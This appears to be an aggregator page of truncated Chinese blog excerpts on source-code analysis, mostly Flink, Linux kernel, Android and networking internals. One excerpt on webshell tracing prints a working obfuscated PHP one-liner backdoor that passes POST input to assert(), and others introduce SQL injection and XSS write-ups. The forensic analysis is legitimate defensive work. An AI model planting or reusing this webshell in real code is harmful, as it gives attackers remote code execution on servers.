首先 是 StreamExecutionEnvironment see = StreamExecutionEnvironment.getExecutionEnvironment(); 我们在编写 flink流计算拓扑任务时首先要做的就是构建一个 StreamExecutionEnvironment 实例 其时序图如下:     文章未完结,待续...…

我打算以 flink 官方的 例子 <<Monitoring the Wikipedia Edit Stream>> 作为示例,进行 flink 流计算任务 的源码解析说明. 其中任务的源码如下,其中中文注释 来自 http://flink-china.org/ 后续我会对这个拓扑任务代码进行逐行的深入分析,以达到深入了解flink代码运行机制的目的. public class WikipediaAnalysis { public static void main(String[]…

Linux内核启动代码分析二之开发板相关驱动程序加载分析 1 从linux开始启动的函数start_kernel开始分析,该函数位于linux-2.6.22/init/main.c  start_kernel()    --2>setup_arch(&command_line);//该函数位于arch/arm/kernel/setup.c           //在这个函数中定义了一个描述开发板的属性的结构体struct machine_desc *mdesc           struc…

Android4.0图库Gallery2代码分析(二) 数据管理和数据加载 2012-09-07 11:19 8152人阅读 评论(12) 收藏 举报 代码分析android相册优化工作 Android4.0图库Gallery2代码分析(二) 数据管理和数据加载 一 图库数据管理 Gallery2的数据管理 DataManager(职责:管理数据源)- MediaSource(职责:管理数据集) - MediaSet(职责:管理数据项).DataManager中初始化所有的数据源(LocalSo…

前言 上一篇文章中,对union注入.报错注入.布尔盲注等进行了分析,接下来这篇文章,会对堆叠注入.宽字节注入.cookie注入等进行分析.第一篇文章地址:SQL注入原理及代码分析(一) 如果想要了解Access的详细手工注入过程,可以看我的这篇文章:https://www.cnblogs.com/lxfweb/p/12643011.html 如果想要了解MySQL的详细手工注入过程,可以看我的这篇文章:https://www.cnblogs.com/lxfweb/p/12655316.html…

最近迫于生存压力,不得不给人兼职打工.故在博文中加了个求点击的链接.麻烦有时间的博友们帮我点击一下.没时间的不用勉强啊.不过请放心,我是做技术的,肯定链接没病毒,就是我打工的淘宝店铺.嘻嘻.http://shop108130013.taobao.com.谢谢捧场.干脆第一个回报大家的就是这个星期开始继续这篇博文吧,实在是迫于生计,无所不用其极.请谅解.今天是2013-12-31. 接下来开始摸索相册显示的流程吧. 一边摸索一边写,我想其间不乏错误的理解吧.摸索先. 相册显示相关有两个大的类别:…

first和end做为全局变量,分别指向链表的头和尾.建立链表的方式也比较简易,从二进制文件数据块中,依次从头到尾读取,每读取一个就建立一个结点. /*基本模型*/ EMP *emp1; while(!feof(fp))/*读取二进制文件到尾*/ { emp1=(EMP *)malloc(sizeof(EMP)); fread(emp1,,fp);/*读取数据*/ if(emp_first==NULL)/*链表串接*/ { emp_first=emp1; emp_end=emp1; } else…

前言 XSS又叫跨站脚本攻击,是一种对网站应用程序的安全漏洞攻击技术.它允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响.XSS分为三种:反射型,存储型,和DOM型.下面我会构造有缺陷的代码,从代码分析这三种类型. 如果想要了解XSS基础的可以看我的这篇文章:XSS(跨站脚本攻击)简单讲解 如果想要了解SQL注入原理的可以看我的这两篇文章:SQL注入原理及代码分析(一) SQL注入原理及代码分析(二) 参考文献:<Web安全攻防> 反射型XSS 反射型XSS又叫非持久型XSS,这种…

作者:吴云涛,腾讯 CSIG 高级工程师导语 | 最近梳理了一下如何用 Flink 来实现实时的 UV.PV 指标的统计,并和公司内微视部门的同事交流.然后针对该场景做了简化,并发现使用 Flink SQL 来 实现这些指标的统计会更加便捷. 一 解决方案描述 1.1 概述 本方案结合本地自建 Kafka 集群.腾讯云流计算 Oceanus(Flink).云数据库 Redis 对博客.购物等网站 UV.PV 指标进行实时可视化分析.分析指标包含网站的独立访客数量(UV ).产品的点击量(PV).…

一.Flink与其他流处理方式的对比分析 ·1.Flink特点: Apache Flink 是一个开源的分布式,高性能,高可用,准确的流处理框架. 主要由 Java 代码实现. 支持实时流(stream)处理和批(batch)处理,批数据只是流数据的一个极限特例. Flink原生支持了迭代计算.内存管理和程序优化. 2.Flink架构  3.Flink基本组件介绍…

转自:http://blog.chinaunix.net/uid-30254565-id-5637598.html linux内核中链表代码分析---list.h头文件分析(二) 16年2月28日16:59:55 分析完container_of()宏以后,继续分析list.h文件: (1)list_entry 它就是一个container_of宏,都是得到ptr所指地址的这个结构体的首地址 #define list_entry(ptr, type, member) \ container_of(…

原文链接:http://ry0117.com/2016/12/24/OVS内核KEY值提取及匹配流表代码分析/ 当开启OVS后,创建datapath类型为system的网桥并他添加相关接口,OVS网桥内接口在网卡接收到数据包后,数据包会先到OVS的内核模块openvswitch内,从数据包上提取key值,并使用key值匹配OVS内核模块中的流表,当匹配到相应的流表后,则执行流表上相应的动作: 当在OVS内核缓存中匹配不到流表,则将key值信息通过NetLink发送给用户态的ovs-vswitch…

Linux Kernel文件系统写I/O流程代码分析(二)bdi_writeback 上一篇# Linux Kernel文件系统写I/O流程代码分析(一),我们看到Buffered IO,写操作写入到page cache后就直接返回了,本文主要分析脏页是如何刷盘的. 概述 由于内核page cache的作用,写操作实际被延迟写入.当page cache里的数据被用户写入但是没有刷新到磁盘时,则该page为脏页(块设备page cache机制因为以前机械磁盘以扇区为单位读写,引入了buffer_h…

微信小游戏 demo 飞机大战 代码分析(二)(databus.js) 微信小游戏 demo 飞机大战 代码分析(一)(main.js) 微信小游戏 demo 飞机大战 代码分析(三)(spirit.js, animation.js) 微信小游戏 demo 飞机大战 代码分析(四)(enemy.js, bullet.js, index.js) 本博客将使用逐行代码分析的方式讲解该demo,本文适用于对其他高级语言熟悉,对js还未深入了解的同学,博主会尽可能将所有遇到的不明白的部分标注清楚,若有不…

Android笔记--View绘制流程源码分析二 通过上一篇View绘制流程源码分析一可以知晓整个绘制流程之前,在activity启动过程中: Window的建立(activit.attach生成),DecorView的建立(phonewindow.setContentView生成), 两者利用ViewRootImpl(WindowManagerGlobal.addView生成)建立window和decorview的联系. 并在root.setView(view, wparams, panelP…

WebShell代码分析溯源(二) 一.一句话变形马样本 <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> 二.代码分析 1.调整代码格式 2.分析代码,首先先把”assert”字符串复制给POST数组,然后又把POST数组array数组,调试代码,搭建php环境(这里使用phpstudy) 3.发现结果输出为assert 4.这样最终一句话变形马就变成这样: <?php…

Flink简介 Flink组件栈 Flink特性 流处理特性 API支持 Libraries支持 整合支持 Flink概念 Stream.Transformation.Operator Parallel Dataflow Task.Operator Chain Window Time Flink架构 JobManager TaskManager Client Flink调度 逻辑调度 物理调度 Flink容错 Flink的集群部署 环境准备 集群安装 集群启动 案例测试 整体执行过程 数据流图的…

前言: 当nova服务发送了创建port的restful调用信息之后,在neutron服务中有相应的处理函数来处理调用.根据restful的工作原理,是按照 paste.ini文件中配置好的流程去处理该条调用.本节从neutron代码中的create_port()函数开始说起. 简要流程: 下面是调用的流程图.  详细代码: 以上是简要流程图,下面是具体的代码分析. create_port() 功能: 调用create_port_db()函数产生port数据. 更新安全组 绑定port _cre…

start_kernel之前的汇编代码分析 Boot中执行下面两句话之后,进入uclinux内核. theKernel = (void (*)(int, int, unsigned int))((uint32_t)0x08003001); theKernel(0, 2189, ((uint32_t)0x20000100)); 首先来到0x0800 3000处,此时携带有三个参数,R0.R1.R2,分别是0,2189,0x2000 0100. 0x0800 3000对应着下面stext的汇编代码.…

一.DataStream API之Data Sources(消费者之数据源) 介绍: source是程序的数据源输入,你可以通过StreamExecutionEnvironment.addSource(sourceFunction)来为你的程序添加一个source. flink提供了大量的已经实现好的source方法,你也可以自定义source 通过实现sourceFunction接口来自定义无并行度的source, 或者你也可以通过实现ParallelSourceFunction 接口 or…

摘要:Apache Flink是为分布式.高性能的流处理应用程序打造的开源流处理框架. 本文分享自华为云社区<[云驻共创]手把手教你玩转Flink流批一体分布式实时处理引擎>,作者: 萌兔之约. Apache Flink是为分布式.高性能的流处理应用程序打造的开源流处理框架.Flink不仅能提供同时支持高吞吐和exactly-once语义的实时计算,还能提供批量数据处理.相较于市面上的其他数据处理引擎,它采用的是基于流计算来模拟批处理. 一.Flink原理及架构 Flink简介 Apache…

1.1.课程的背景 Storm是什么? 为什么学习Storm? Storm是Twitter开源的分布式实时大数据处理框架,被业界称为实时版Hadoop. 随着越来越多的场景对Hadoop的MapReduce高延迟无法容忍,比如网站统计.推荐系统.预警系统.金融系统(高频交易.股票)等等, 大数据实时处理解决方案(流计算)的应用日趋广泛,目前已是分布式技术领域最新爆发点,而Storm更是流计算技术中的佼佼者和主流. 按照storm作者的说法,Storm对于实时计算的意义类似于Hadoop对于批处理…

1.背景介绍 Storm以及离线数据平台的MapReduce和Hive构成了Hadoop生态对实时和离线数据处理的一套完整处理解决方案.除了此套解决方案之外,还有一种非常流行的而且完整的离线和 实时数据处理方案.这种方案就是Spark.Spark本质上是对Hadoop特别是MapReduce的补充.优化和完善,尤其是数据处理速度.易用性.迭代计算和复杂数据分析等方面. Spark Streaming 作为Spark整体解决方案中实时数据处理部分,本质上仍然是基于Spark的弹性分布式数据集(Re…

Hadoop基础-HDFS数据清理过程之校验过程代码分析 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 想称为一名高级大数据开发工程师,不但需要了解hadoop内部的运行机制,还需要掌握hadoop在写入过程中的报文分析.当然代码的调试步骤是一个开发必须得会的技能!想要掌握这三个技能,我们就可以拿HDFS写入过程来练练手,了解一下平时就几行的代码在它的内部是如何帮我们实现数据传输的. 一.Idea代码调试简介 1>.编写测试代码 /* @author :yinzhengjie…

不多说,直接上干货! 什么是实时流计算?    1.实时流计算背景 2.实时计算应用场景 3.实时计算处理流程 4.实时计算框架 什么是实时流计算? 所谓实时流计算,就是近几年由于数据得到广泛应用之后,在数据持久性建模不满足现状的情况下,急需数据流的瞬时建模或者计算处理.这种实时计算的应用实例有金融服务.网络监控.电信数据管理. Web 应用.生产制造.传感检测,等等.在这种数据流模型中,单独的数据单元可能是相关的元组(Tuple),如网络测量.呼叫记录.网页访问等产生的数据.但是,这些数据以大…

海康相机RTSP连接代码分析 最近在做海康相机rtsp连接获取音视频的工作,现在介绍一下分析过程和源码. [源码在我上传的共享资料中: http://download.csdn.net/detail/zhouyongku/8203521] 一.基本原理 RTSP客户端去连接服务器的最基本步骤如下: (1)分析url中的端口号,创建一个与服务器[S-PORT]端口号的TCP连接用于RTSP命令交互 (2)执行RTSP命令请求,告诉服务器可以连接到本地的端口[C-PORT]进行数据发送 (3)客户端…

一.理想与现实 Apache Flink 是一个分布式流批一体化的开源平台.Flink 的核心是一个提供数据分发.通信以及自动容错的流计算引擎.Flink 在流计算之上构建批处理,并且原生的支持迭代计算,内存管理以及程序优化. 实时计算(Alibaba Cloud Realtime Compute,Powered by Ververica)是阿里云提供的基于 Apache Flink 构建的企业级大数据计算平台.在 PB 级别的数据集上可以支持亚秒级别的处理延时,赋能用户标准实时数据处理流程和行…

1. Flink 简介 Flink 是一个分布式流处理器,提供直观且易于使用的API,以供实现有状态的流处理应用.它能够以fault-tolerant的方式高效地运行在大规模系统中. 流处理技术在当今地位愈发重要,因为它为很多业务场景提供了非常优秀的解决方案,例如数据分析,ETL,事务应用等. 2. 有状态的流处理 在很多场景下,数据都是以持续不断的流事件创建.例如网站的交互.或手机传输的信息.服务器日志.传感器信息等.有状态的流处理(stateful stream processing)是一种…

原文链接:https://yq.aliyun.com/articles/58382 摘要: 流计算,已经有Storm.Spark,Samza,包括最近新起的Flink,Kafka为什么再自己做一套流计算呢?Kafka Stream 与这些框架比有什么优势?Samza.Consumer Group已经包装了Kafka轻量级的消费功能,难道不够吗? Confluent Inc(原LinkedIn Kafka作者离职后创业公司)在6月份预告推出Kafka Stream,Kafka Stream会在Ka…

构建 这里搜集了用来构建应用程序的工具. Apache Maven:Maven使用声明进行构建并进行依赖管理,偏向于使用约定而不是配置进行构建.Maven优于Apache Ant.后者采用了一种过程化的方式进行配置,所以维护起来相当困难. Gradle:Gradle采用增量构建.Gradle通过Groovy编程而不是传统的XML声明进行配置.Gradle可以很好地配合Maven进行依赖管理,并且把Ant脚本当作头等公民. 字节码操作 编程操作Java字节码的函数库. ASM:通用底层字节码操作及…